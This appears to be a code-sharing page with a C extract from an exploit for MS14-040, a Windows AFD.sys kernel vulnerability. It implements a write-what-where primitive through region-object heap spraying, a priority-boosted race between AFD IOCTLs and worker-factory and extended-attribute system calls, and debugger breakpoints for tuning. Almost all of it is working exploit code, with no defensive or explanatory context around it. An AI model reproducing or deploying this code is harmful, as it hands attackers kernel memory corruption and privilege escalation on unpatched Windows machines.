Permalink
/* | |
This is an extract from an exploit for MS14-040 | |
*/ | |
void write_what_where(UINT64 what, UINT64 where) | |
{ | |
write_what_where_afd(what & 0xffffffff, where, what >> 32 & 0xffffffff, where + 4); | |
} | |
/* | |
To debug what's going on, break on : | |
Afd!AfdReturnTpInfo+8f | |
nt!NtQueryEaFile+10d | |
nt!NtSetInformationWorkerFactory+1a8 | |
*/ | |
int write_what_where_afd(UINT32 what32, UINT64 where, UINT32 what32_2, UINT64 where_2) | |
{ | |
WSADATA wd = { 0 }; | |
SOCKET sock; | |
sockaddr_in clientService; | |
DWORD i = 0, r = 0; | |
NTSTATUS st = 0; | |
load(); | |
if (WSAStartup(MAKEWORD(2, 0), &wd)) | |
{ | |
printf("[-]Failed to initialize winsock (%08x)\n", WSAGetLastError()); | |
getchar(); | |
exit(1); | |
} | |
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); | |
if (sock == INVALID_SOCKET) | |
{ | |
printf("[-]Failed to create socket (%08x)\n", WSAGetLastError()); | |
getchar(); | |
exit(1); | |
} | |
clientService.sin_family = AF_INET; | |
clientService.sin_addr.s_addr = inet_addr("173.194.66.99"); | |
clientService.sin_port = htons(80); | |
r = connect(sock, (SOCKADDR *)& clientService, sizeof (clientService)); | |
if (r == SOCKET_ERROR) | |
{ | |
printf("[-]Failed to connect %d\n", WSAGetLastError()); | |
getchar(); | |
exit(1); | |
} | |
PUINT64 chunk = (PUINT64)malloc(0x10000); | |
PUINT64 input1 = (PUINT64)malloc(0x10000); | |
PUINT64 input2 = (PUINT64)malloc(0x10000); | |
PUINT64 output = (PUINT64)malloc(0x10000); | |
UINT32 vaddr = 0x13371337; | |
UINT32 targetSize = 0x100; // >= 0x100 | |
UINT32 mdlsize = (pow(2.0, 0x0c) * (targetSize - 0x30) / 8) - 0xfff - (vaddr & 0xfff); | |
input1[0] = 0; | |
input1[1] = 0; | |
input1[2] = 0; | |
input1[3] = 0; | |
input1[4] = 0; | |
input1[5] = 0; | |
input1[6] = (UINT64)vaddr; | |
input1[7] = (UINT64)mdlsize; | |
input1[8] = 0; | |
input1[9] = 0; | |
input1[10] = 1; | |
input1[11] = 0; | |
input2[0] = 1; | |
input2[1] = 0xaaaaaaa; | |
input2[2] = 0; | |
input2[3] = 0; | |
input2[4] = 0; | |
input2[5] = 0; | |
DWORD nBottomRect = 0x2aaaaaa; | |
HRGN* prgn = (HRGN*)malloc(0x10000); | |
if (!prgn) | |
{ | |
puts("[-]Failed to allocate array of RGN"); | |
getchar(); | |
exit(1); | |
} | |
while (1) | |
{ | |
prgn[i++] = CreateRoundRectRgn(0, 0, 1, nBottomRect, 1, 1); | |
if (!prgn[i - 1]) | |
break; | |
} | |
printf("[+]%d RGN allocated\n", i); | |
IO_STATUS_BLOCK b; | |
HANDLE h; | |
HANDLE hproc; | |
HFILE hfile; | |
OFSTRUCT of; | |
hproc = GetCurrentProcess(); | |
hfile = OpenFile("test.txt", &of, OF_CREATE); | |
h = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0); | |
if (!h) | |
{ | |
printf("Failed to CreateIoCompletionPort %x\n", GetLastError()); | |
getchar(); | |
return 0; | |
} | |
PUINT32 ptr = (PUINT32)malloc(0x1000); | |
PUINT32 pWorkerFactoryHandle = (PUINT32)malloc(0x1000); | |
PUINT32 buffer = (PUINT32)malloc(0x1000); | |
PUINT64 ealist = (PUINT64)malloc(0x1000); | |
PUINT32 yaop = (PUINT32)malloc(0x1000); | |
PUINT64 superevil = (PUINT64)malloc(0x1000); | |
PUINT32 wfinfo = (PUINT32)malloc(0x1000); | |
memset(wfinfo, '1', 0x100); | |
ULONG ealistlength = 0x100; | |
memset(ptr, 0x18, 0x100); | |
memset(pWorkerFactoryHandle, 1, 0x100); | |
memset(buffer, 'Z', 0x1000); | |
memset(ealist, 'T', 0x1000); | |
memset(yaop, 'A', 0x1000); | |
memset(superevil, 'B', 0x1000); | |
if (!SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS)) | |
{ | |
printf("[-]Failed to set high priority to the process\n"); | |
getchar(); | |
exit(1); | |
} | |
if (!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST)) | |
{ | |
printf("[-]Failed to set high priority to attacker thread (%08x)\n", WSAGetLastError()); | |
getchar(); | |
exit(1); | |
} | |
HANDLE factoryArray[0x10000]; | |
HANDLE dummy[1000]; | |
int j = 0; | |
int bad = 1; | |
int timeout = 1; | |
ealist[12] = (UINT64)superevil; | |
yaop[0] = what32; | |
superevil[8] = where - 0x2c; | |
while (bad) | |
{ | |
Sleep(11); | |
NtDeviceIoControlFile((HANDLE)sock, NULL, NULL, NULL, &b, 0x1207f, input1, 0x40, output, 0); | |
NtCreateWorkerFactory((PVOID)pWorkerFactoryHandle, (PVOID)0xf00ff, (PVOID)NULL, (PVOID)h, (PVOID)hproc, (PVOID)0x45, (PVOID)0x46, (PVOID)0x47, (PVOID)0x48, (PVOID)0x49); | |
NtDeviceIoControlFile((HANDLE)sock, NULL, NULL, NULL, &b, 0x120c3, input2, 0x18, output, 0); | |
ZwQueryEaFile((HANDLE)hfile, &b, buffer, 10, FALSE, ealist, ealistlength, NULL, FALSE); | |
//NtQueryInformationWorkerFactory((HANDLE)*pWorkerFactoryHandle, (PVOID)7, wfinfo, (PVOID)0x78, (PVOID)NULL); | |
NtSetInformationWorkerFactory((HANDLE)*pWorkerFactoryHandle, (PVOID)0x8, (PVOID)yaop, (PVOID)0x4, (PVOID)0x44); | |
yaop[0] = what32_2; | |
superevil[8] = where_2 - 0x2c; | |
NtSetInformationWorkerFactory((HANDLE)*pWorkerFactoryHandle, (PVOID)0x8, (PVOID)yaop, (PVOID)0x4, (PVOID)0x44); | |
if (!--timeout) | |
{ | |
bad = 0; | |
} | |
} | |
return 1; | |
} |